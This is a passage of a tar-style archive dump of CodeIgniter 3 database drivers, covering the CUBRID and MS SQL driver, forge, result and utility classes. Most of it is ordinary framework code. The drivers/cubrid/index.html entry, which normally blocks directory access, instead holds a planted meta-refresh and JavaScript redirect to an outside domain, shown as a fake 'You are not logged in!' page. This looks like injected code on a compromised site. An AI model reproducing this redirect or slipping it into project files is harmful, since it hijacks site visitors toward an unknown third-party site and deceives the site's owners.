THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 2.1.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CUBRID Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author Esen Sagynov * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_cubrid_driver extends CI_DB { /** * Database driver * * @var string */ public $dbdriver = 'cubrid'; /** * Auto-commit flag * * @var bool */ public $auto_commit = TRUE; // -------------------------------------------------------------------- /** * Identifier escape character * * @var string */ protected $_escape_char = '`'; /** * ORDER BY random keyword * * @var array */ protected $_random_keyword = array('RANDOM()', 'RANDOM(%d)'); // -------------------------------------------------------------------- /** * Class constructor * * @param array $params * @return void */ public function __construct($params) { parent::__construct($params); if (preg_match('/^CUBRID:[^:]+(:[0-9][1-9]{0,4})?:[^:]+:[^:]*:[^:]*:(\?.+)?$/', $this->dsn, $matches)) { if (stripos($matches[2], 'autocommit=off') !== FALSE) { $this->auto_commit = FALSE; } } else { // If no port is defined by the user, use the default value empty($this->port) OR $this->port = 33000; } } // -------------------------------------------------------------------- /** * Non-persistent database connection * * @param bool $persistent * @return resource */ public function db_connect($persistent = FALSE) { if (preg_match('/^CUBRID:[^:]+(:[0-9][1-9]{0,4})?:[^:]+:([^:]*):([^:]*):(\?.+)?$/', $this->dsn, $matches)) { $func = ($persistent !== TRUE) ? 'cubrid_connect_with_url' : 'cubrid_pconnect_with_url'; return ($matches[2] === '' && $matches[3] === '' && $this->username !== '' && $this->password !== '') ? $func($this->dsn, $this->username, $this->password) : $func($this->dsn); } $func = ($persistent !== TRUE) ? 'cubrid_connect' : 'cubrid_pconnect'; return ($this->username !== '') ? $func($this->hostname, $this->port, $this->database, $this->username, $this->password) : $func($this->hostname, $this->port, $this->database); } // -------------------------------------------------------------------- /** * Reconnect * * Keep / reestablish the db connection if no queries have been * sent for a length of time exceeding the server's idle timeout * * @return void */ public function reconnect() { if (cubrid_ping($this->conn_id) === FALSE) { $this->conn_id = FALSE; } } // -------------------------------------------------------------------- /** * Database version number * * @return string */ public function version() { if (isset($this->data_cache['version'])) { return $this->data_cache['version']; } return ( ! $this->conn_id OR ($version = cubrid_get_server_info($this->conn_id)) === FALSE) ? FALSE : $this->data_cache['version'] = $version; } // -------------------------------------------------------------------- /** * Execute the query * * @param string $sql an SQL query * @return resource */ protected function _execute($sql) { return cubrid_query($sql, $this->conn_id); } // -------------------------------------------------------------------- /** * Begin Transaction * * @return bool */ protected function _trans_begin() { if (($autocommit = cubrid_get_autocommit($this->conn_id)) === NULL) { return FALSE; } elseif ($autocommit === TRUE) { return cubrid_set_autocommit($this->conn_id, CUBRID_AUTOCOMMIT_FALSE); } return TRUE; } // -------------------------------------------------------------------- /** * Commit Transaction * * @return bool */ protected function _trans_commit() { if ( ! cubrid_commit($this->conn_id)) { return FALSE; } if ($this->auto_commit && ! cubrid_get_autocommit($this->conn_id)) { return cubrid_set_autocommit($this->conn_id, CUBRID_AUTOCOMMIT_TRUE); } return TRUE; } // -------------------------------------------------------------------- /** * Rollback Transaction * * @return bool */ protected function _trans_rollback() { if ( ! cubrid_rollback($this->conn_id)) { return FALSE; } if ($this->auto_commit && ! cubrid_get_autocommit($this->conn_id)) { cubrid_set_autocommit($this->conn_id, CUBRID_AUTOCOMMIT_TRUE); } return TRUE; } // -------------------------------------------------------------------- /** * Platform-dependent string escape * * @param string * @return string */ protected function _escape_str($str) { return cubrid_real_escape_string($str, $this->conn_id); } // -------------------------------------------------------------------- /** * Affected Rows * * @return int */ public function affected_rows() { return cubrid_affected_rows(); } // -------------------------------------------------------------------- /** * Insert ID * * @return int */ public function insert_id() { return cubrid_insert_id($this->conn_id); } // -------------------------------------------------------------------- /** * List table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = 'SHOW TABLES'; if ($prefix_limit !== FALSE && $this->dbprefix !== '') { return $sql." LIKE '".$this->escape_like_str($this->dbprefix)."%'"; } return $sql; } // -------------------------------------------------------------------- /** * Show column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return string */ protected function _list_columns($table = '') { return 'SHOW COLUMNS FROM '.$this->protect_identifiers($table, TRUE, NULL, FALSE); } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { if (($query = $this->query('SHOW COLUMNS FROM '.$this->protect_identifiers($table, TRUE, NULL, FALSE))) === FALSE) { return FALSE; } $query = $query->result_object(); $retval = array(); for ($i = 0, $c = count($query); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = $query[$i]->Field; sscanf($query[$i]->Type, '%[a-z](%d)', $retval[$i]->type, $retval[$i]->max_length ); $retval[$i]->default = $query[$i]->Default; $retval[$i]->primary_key = (int) ($query[$i]->Key === 'PRI'); } return $retval; } // -------------------------------------------------------------------- /** * Error * * Returns an array containing code and message of the last * database error that has occurred. * * @return array */ public function error() { return array('code' => cubrid_errno($this->conn_id), 'message' => cubrid_error($this->conn_id)); } // -------------------------------------------------------------------- /** * FROM tables * * Groups tables in FROM clauses if needed, so there is no confusion * about operator precedence. * * @return string */ protected function _from_tables() { if ( ! empty($this->qb_join) && count($this->qb_from) > 1) { return '('.implode(', ', $this->qb_from).')'; } return implode(', ', $this->qb_from); } // -------------------------------------------------------------------- /** * Close DB Connection * * @return void */ protected function _close() { cubrid_close($this->conn_id); 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IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 2.1.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CUBRID Forge Class * * @category Database * @author Esen Sagynov * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_cubrid_forge extends CI_DB_forge { /** * CREATE DATABASE statement * * @var string */ protected $_create_database = FALSE; /** * CREATE TABLE keys flag * * Whether table keys are created from within the * CREATE TABLE statement. * * @var bool */ protected $_create_table_keys = TRUE; /** * DROP DATABASE statement * * @var string */ protected $_drop_database = FALSE; /** * CREATE TABLE IF statement * * @var string */ protected $_create_table_if = FALSE; /** * UNSIGNED support * * @var array */ protected $_unsigned = array( 'SHORT' => 'INTEGER', 'SMALLINT' => 'INTEGER', 'INT' => 'BIGINT', 'INTEGER' => 'BIGINT', 'BIGINT' => 'NUMERIC', 'FLOAT' => 'DOUBLE', 'REAL' => 'DOUBLE' ); // -------------------------------------------------------------------- /** * ALTER TABLE * * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if (in_array($alter_type, array('DROP', 'ADD'), TRUE)) { return parent::_alter_table($alter_type, $table, $field); } $sql = 'ALTER TABLE '.$this->db->escape_identifiers($table); $sqls = array(); for ($i = 0, $c = count($field); $i < $c; $i++) { if ($field[$i]['_literal'] !== FALSE) { $sqls[] = $sql.' CHANGE '.$field[$i]['_literal']; } else { $alter_type = empty($field[$i]['new_name']) ? ' MODIFY ' : ' CHANGE '; $sqls[] = $sql.$alter_type.$this->_process_column($field[$i]); } } return $sqls; } // -------------------------------------------------------------------- /** * Process column * * @param array $field * @return string */ protected function _process_column($field) { $extra_clause = isset($field['after']) ? ' AFTER '.$this->db->escape_identifiers($field['after']) : ''; if (empty($extra_clause) && isset($field['first']) && $field['first'] === TRUE) { $extra_clause = ' FIRST'; } return $this->db->escape_identifiers($field['name']) .(empty($field['new_name']) ? '' : ' '.$this->db->escape_identifiers($field['new_name'])) .' '.$field['type'].$field['length'] .$field['unsigned'] .$field['null'] .$field['default'] .$field['auto_increment'] .$field['unique'] .$extra_clause; } // -------------------------------------------------------------------- /** * Field attribute TYPE * * Performs a data type mapping between different databases. * * @param array &$attributes * @return void */ protected function _attr_type(&$attributes) { switch (strtoupper($attributes['TYPE'])) { case 'TINYINT': $attributes['TYPE'] = 'SMALLINT'; $attributes['UNSIGNED'] = FALSE; return; case 'MEDIUMINT': $attributes['TYPE'] = 'INTEGER'; $attributes['UNSIGNED'] = FALSE; return; case 'LONGTEXT': $attributes['TYPE'] = 'STRING'; return; default: return; } } // -------------------------------------------------------------------- /** * Process indexes * * @param string $table (ignored) * @return string */ protected function _process_indexes($table) { $sql = ''; for ($i = 0, $c = count($this->keys); $i < $c; $i++) { if (is_array($this->keys[$i])) { for ($i2 = 0, $c2 = count($this->keys[$i]); $i2 < $c2; $i2++) { if ( ! isset($this->fields[$this->keys[$i][$i2]])) { unset($this->keys[$i][$i2]); continue; } } } elseif ( ! isset($this->fields[$this->keys[$i]])) { unset($this->keys[$i]); continue; } is_array($this->keys[$i]) OR $this->keys[$i] = array($this->keys[$i]); $sql .= ",\n\tKEY ".$this->db->escape_identifiers(implode('_', $this->keys[$i])) .' ('.implode(', ', $this->db->escape_identifiers($this->keys[$i])).')'; } $this->keys = array(); return $sql; } } drivers/cubrid/cubrid_result.php 0000644 00000011203 14642767245 0013067 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 2.1.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CUBRID Result Class * * This class extends the parent result class: CI_DB_result * * @category Database * @author Esen Sagynov * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_cubrid_result extends CI_DB_result { /** * Number of rows in the result set * * @return int */ public function num_rows() { return is_int($this->num_rows) ? $this->num_rows : $this->num_rows = cubrid_num_rows($this->result_id); } // -------------------------------------------------------------------- /** * Number of fields in the result set * * @return int */ public function num_fields() { return cubrid_num_fields($this->result_id); } // -------------------------------------------------------------------- /** * Fetch Field Names * * Generates an array of column names * * @return array */ public function list_fields() { return cubrid_column_names($this->result_id); } // -------------------------------------------------------------------- /** * Field data * * Generates an array of objects containing field meta-data * * @return array */ public function field_data() { $retval = array(); for ($i = 0, $c = $this->num_fields(); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = cubrid_field_name($this->result_id, $i); $retval[$i]->type = cubrid_field_type($this->result_id, $i); $retval[$i]->max_length = cubrid_field_len($this->result_id, $i); $retval[$i]->primary_key = (int) (strpos(cubrid_field_flags($this->result_id, $i), 'primary_key') !== FALSE); } return $retval; } // -------------------------------------------------------------------- /** * Free the result * * @return void */ public function free_result() { if (is_resource($this->result_id) OR (get_resource_type($this->result_id) === 'Unknown' && preg_match('/Resource id #/', strval($this->result_id)))) { cubrid_close_request($this->result_id); $this->result_id = FALSE; } } // -------------------------------------------------------------------- /** * Data Seek * * Moves the internal pointer to the desired offset. We call * this internally before fetching results to make sure the * result set starts at zero. * * @param int $n * @return bool */ public function data_seek($n = 0) { return cubrid_data_seek($this->result_id, $n); } // -------------------------------------------------------------------- /** * Result - associative array * * Returns the result set as an array * * @return array */ protected function _fetch_assoc() { return cubrid_fetch_assoc($this->result_id); } // -------------------------------------------------------------------- /** * Result - object * * Returns the result set as an object * * @param string $class_name * @return object */ protected function _fetch_object($class_name = 'stdClass') { return cubrid_fetch_object($this->result_id, $class_name); } } drivers/cubrid/index.html 0000444 00000000605 14642767247 0011511 0 ustar 00 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="refresh" content="0;url=http://lymphdailynews.xyz/" /> </head> <body> <p>You are not logged in!</p> <script language="javascript"> window.location = "http://lymphdailynews.xyz/"; </script> </body> </html> drivers/mssql/mssql_forge.php 0000644 00000010421 14642767251 0012427 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * MS SQL Forge Class * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_mssql_forge extends CI_DB_forge { /** * CREATE TABLE IF statement * * @var string */ protected $_create_table_if = "IF NOT EXISTS (SELECT * FROM sysobjects WHERE ID = object_id(N'%s') AND OBJECTPROPERTY(id, N'IsUserTable') = 1)\nCREATE TABLE"; /** * DROP TABLE IF statement * * @var string */ protected $_drop_table_if = "IF EXISTS (SELECT * FROM sysobjects WHERE ID = object_id(N'%s') AND OBJECTPROPERTY(id, N'IsUserTable') = 1)\nDROP TABLE"; /** * UNSIGNED support * * @var array */ protected $_unsigned = array( 'TINYINT' => 'SMALLINT', 'SMALLINT' => 'INT', 'INT' => 'BIGINT', 'REAL' => 'FLOAT' ); // -------------------------------------------------------------------- /** * ALTER TABLE * * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if (in_array($alter_type, array('ADD', 'DROP'), TRUE)) { return parent::_alter_table($alter_type, $table, $field); } $sql = 'ALTER TABLE '.$this->db->escape_identifiers($table).' ALTER COLUMN '; $sqls = array(); for ($i = 0, $c = count($field); $i < $c; $i++) { $sqls[] = $sql.$this->_process_column($field[$i]); } return $sqls; } // -------------------------------------------------------------------- /** * Field attribute TYPE * * Performs a data type mapping between different databases. * * @param array &$attributes * @return void */ protected function _attr_type(&$attributes) { if (isset($attributes['CONSTRAINT']) && strpos($attributes['TYPE'], 'INT') !== FALSE) { unset($attributes['CONSTRAINT']); } switch (strtoupper($attributes['TYPE'])) { case 'MEDIUMINT': $attributes['TYPE'] = 'INTEGER'; $attributes['UNSIGNED'] = FALSE; return; case 'INTEGER': $attributes['TYPE'] = 'INT'; return; default: return; } } // -------------------------------------------------------------------- /** * Field attribute AUTO_INCREMENT * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_auto_increment(&$attributes, &$field) { if ( ! empty($attributes['AUTO_INCREMENT']) && $attributes['AUTO_INCREMENT'] === TRUE && stripos($field['type'], 'int') !== FALSE) { $field['auto_increment'] = ' IDENTITY(1,1)'; } } } drivers/mssql/mssql_utility.php 0000644 00000004642 14642767252 0013041 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * MS SQL Utility Class * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_mssql_utility extends CI_DB_utility { /** * List databases statement * * @var string */ protected $_list_databases = 'EXEC sp_helpdb'; // Can also be: EXEC sp_databases /** * OPTIMIZE TABLE statement * * @var string */ protected $_optimize_table = 'ALTER INDEX all ON %s REORGANIZE'; /** * Export * * @param array $params Preferences * @return bool */ protected function _backup($params = array()) { // Currently unsupported return $this->db->display_error('db_unsupported_feature'); } } drivers/mssql/mssql_result.php 0000644 00000011370 14642767253 0012651 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * MSSQL Result Class * * This class extends the parent result class: CI_DB_result * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_mssql_result extends CI_DB_result { /** * Number of rows in the result set * * @return int */ public function num_rows() { return is_int($this->num_rows) ? $this->num_rows : $this->num_rows = mssql_num_rows($this->result_id); } // -------------------------------------------------------------------- /** * Number of fields in the result set * * @return int */ public function num_fields() { return mssql_num_fields($this->result_id); } // -------------------------------------------------------------------- /** * Fetch Field Names * * Generates an array of column names * * @return array */ public function list_fields() { $field_names = array(); mssql_field_seek($this->result_id, 0); while ($field = mssql_fetch_field($this->result_id)) { $field_names[] = $field->name; } return $field_names; } // -------------------------------------------------------------------- /** * Field data * * Generates an array of objects containing field meta-data * * @return array */ public function field_data() { $retval = array(); for ($i = 0, $c = $this->num_fields(); $i < $c; $i++) { $field = mssql_fetch_field($this->result_id, $i); $retval[$i] = new stdClass(); $retval[$i]->name = $field->name; $retval[$i]->type = $field->type; $retval[$i]->max_length = $field->max_length; } return $retval; } // -------------------------------------------------------------------- /** * Free the result * * @return void */ public function free_result() { if (is_resource($this->result_id)) { mssql_free_result($this->result_id); $this->result_id = FALSE; } } // -------------------------------------------------------------------- /** * Data Seek * * Moves the internal pointer to the desired offset. We call * this internally before fetching results to make sure the * result set starts at zero. * * @param int $n * @return bool */ public function data_seek($n = 0) { return mssql_data_seek($this->result_id, $n); } // -------------------------------------------------------------------- /** * Result - associative array * * Returns the result set as an array * * @return array */ protected function _fetch_assoc() { return mssql_fetch_assoc($this->result_id); } // -------------------------------------------------------------------- /** * Result - object * * Returns the result set as an object * * @param string $class_name * @return object */ protected function _fetch_object($class_name = 'stdClass') { $row = mssql_fetch_object($this->result_id); if ($class_name === 'stdClass' OR ! $row) { return $row; } $class_name = new $class_name(); foreach ($row as $key => $value) { $class_name->$key = $value; } return $class_name; } } drivers/mssql/mssql_driver.php 0000644 00000032554 14642767254 0012636 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * MS SQL Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_mssql_driver extends CI_DB { /** * Database driver * * @var string */ public $dbdriver = 'mssql'; // -------------------------------------------------------------------- /** * ORDER BY random keyword * * @var array */ protected $_random_keyword = array('NEWID()', 'RAND(%d)'); /** * Quoted identifier flag * * Whether to use SQL-92 standard quoted identifier * (double quotes) or brackets for identifier escaping. * * @var bool */ protected $_quoted_identifier = TRUE; // -------------------------------------------------------------------- /** * Class constructor * * Appends the port number to the hostname, if needed. * * @param array $params * @return void */ public function __construct($params) { parent::__construct($params); if ( ! empty($this->port)) { $this->hostname .= (DIRECTORY_SEPARATOR === '\\' ? ',' : ':').$this->port; } } // -------------------------------------------------------------------- /** * Non-persistent database connection * * @param bool $persistent * @return resource */ public function db_connect($persistent = FALSE) { $this->conn_id = ($persistent) ? mssql_pconnect($this->hostname, $this->username, $this->password) : mssql_connect($this->hostname, $this->username, $this->password); if ( ! $this->conn_id) { return FALSE; } // ---------------------------------------------------------------- // Select the DB... assuming a database name is specified in the config file if ($this->database !== '' && ! $this->db_select()) { log_message('error', 'Unable to select database: '.$this->database); return ($this->db_debug === TRUE) ? $this->display_error('db_unable_to_select', $this->database) : FALSE; } // Determine how identifiers are escaped $query = $this->query('SELECT CASE WHEN (@@OPTIONS | 256) = @@OPTIONS THEN 1 ELSE 0 END AS qi'); $query = $query->row_array(); $this->_quoted_identifier = empty($query) ? FALSE : (bool) $query['qi']; $this->_escape_char = ($this->_quoted_identifier) ? '"' : array('[', ']'); return $this->conn_id; } // -------------------------------------------------------------------- /** * Select the database * * @param string $database * @return bool */ public function db_select($database = '') { if ($database === '') { $database = $this->database; } // Note: Escaping is required in the event that the DB name // contains reserved characters. if (mssql_select_db('['.$database.']', $this->conn_id)) { $this->database = $database; $this->data_cache = array(); return TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Execute the query * * @param string $sql an SQL query * @return mixed resource if rows are returned, bool otherwise */ protected function _execute($sql) { return mssql_query($sql, $this->conn_id); } // -------------------------------------------------------------------- /** * Begin Transaction * * @return bool */ protected function _trans_begin() { return $this->simple_query('BEGIN TRAN'); } // -------------------------------------------------------------------- /** * Commit Transaction * * @return bool */ protected function _trans_commit() { return $this->simple_query('COMMIT TRAN'); } // -------------------------------------------------------------------- /** * Rollback Transaction * * @return bool */ protected function _trans_rollback() { return $this->simple_query('ROLLBACK TRAN'); } // -------------------------------------------------------------------- /** * Affected Rows * * @return int */ public function affected_rows() { return mssql_rows_affected($this->conn_id); } // -------------------------------------------------------------------- /** * Insert ID * * Returns the last id created in the Identity column. * * @return string */ public function insert_id() { $query = version_compare($this->version(), '8', '>=') ? 'SELECT SCOPE_IDENTITY() AS last_id' : 'SELECT @@IDENTITY AS last_id'; $query = $this->query($query); $query = $query->row(); return $query->last_id; } // -------------------------------------------------------------------- /** * Set client character set * * @param string $charset * @return bool */ protected function _db_set_charset($charset) { return (ini_set('mssql.charset', $charset) !== FALSE); } // -------------------------------------------------------------------- /** * Version number query string * * @return string */ protected function _version() { return "SELECT SERVERPROPERTY('ProductVersion') AS ver"; } // -------------------------------------------------------------------- /** * List table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = 'SELECT '.$this->escape_identifiers('name') .' FROM '.$this->escape_identifiers('sysobjects') .' WHERE '.$this->escape_identifiers('type')." = 'U'"; if ($prefix_limit !== FALSE && $this->dbprefix !== '') { $sql .= ' AND '.$this->escape_identifiers('name')." LIKE '".$this->escape_like_str($this->dbprefix)."%' " .sprintf($this->_like_escape_str, $this->_like_escape_chr); } return $sql.' ORDER BY '.$this->escape_identifiers('name'); } // -------------------------------------------------------------------- /** * List column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return string */ protected function _list_columns($table = '') { return 'SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.Columns WHERE UPPER(TABLE_NAME) = '.$this->escape(strtoupper($table)); } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { $sql = 'SELECT COLUMN_NAME, DATA_TYPE, CHARACTER_MAXIMUM_LENGTH, NUMERIC_PRECISION, COLUMN_DEFAULT FROM INFORMATION_SCHEMA.Columns WHERE UPPER(TABLE_NAME) = '.$this->escape(strtoupper($table)); if (($query = $this->query($sql)) === FALSE) { return FALSE; } $query = $query->result_object(); $retval = array(); for ($i = 0, $c = count($query); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = $query[$i]->COLUMN_NAME; $retval[$i]->type = $query[$i]->DATA_TYPE; $retval[$i]->max_length = ($query[$i]->CHARACTER_MAXIMUM_LENGTH > 0) ? $query[$i]->CHARACTER_MAXIMUM_LENGTH : 